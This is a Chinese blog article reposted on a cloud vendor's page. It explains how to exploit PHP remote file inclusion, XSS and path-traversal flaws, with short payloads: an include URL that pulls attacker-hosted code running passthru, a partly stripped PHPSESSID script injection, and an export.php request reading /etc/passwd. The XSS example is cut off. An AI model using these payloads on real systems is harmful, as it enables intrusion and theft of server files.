PHP指令碼網站存在的漏洞總結

來源:互聯網
上載者:User

來源: http://xiaomutou.51.net/ciker/blog/

從現在的網路安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在很嚴重的安全問題,但是這方面的文章卻不多.在這裡,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.

我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種:包含檔案漏洞,指令碼命令執行漏洞,檔案泄露漏洞,SQL注入漏洞等幾種.當然,至於COOKIE欺騙等一部分通用的技術就不在這裡討論了,這些資料網上也很多.那麼,我們就一個一個來分析一下怎樣利用這些漏洞吧!

首先,我們來討論包含檔案漏洞.這個漏洞應該說是PHP專屬的吧.這是由於不充分處理外部提供的惡意資料,從而導致遠程攻擊者可以利用這些漏洞以WEB進程許可權在系統上執行任意命令.我們來看一個例子:假設在a.php中有這樣一句代碼:

include($include."/xxx.php");

?>

在這段代碼中,$include一般是一個已經設定好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交:a.php?include=http://web/b.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似於:passthru("/bin/ls /etc");的代碼.這樣,就可以執行一些有目的的攻擊了.(注:web伺服器應該不能執行php代碼,不然就出問題了.相關詳情可以去看<<如何對PHP程式中的常見漏洞進行攻擊>>).在這個漏洞方面,出狀況的很多,比方說:PayPal Store Front,

HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.

接著,我們再來看一下指令碼命令執行漏洞.這是由於對使用者提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的資料,可導致觸發跨站指令碼攻擊,可能獲得目標使用者的敏感資訊。我們也舉個例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達到攻擊的目的:

http://web/index.php?PHPSESSID=">在script裡面我們可以建構函式來獲得使用者的一些敏感資訊.在這個漏洞方面相對要少一點,除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.

再然後,我們就來看看檔案泄露漏洞了.這種漏洞是由於對使用者提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍曆攻擊以及擷取一些敏感資訊。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對使用者提交的'what'參數進行充分過濾,遠程攻擊者提交包含多個'../'字元的資料,便可繞過WEB ROOT限制,以WEB許可權查看系統上的任意檔案資訊。比方說打入這樣一個地址:export.php?what=../../../../../../etc/passwd

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.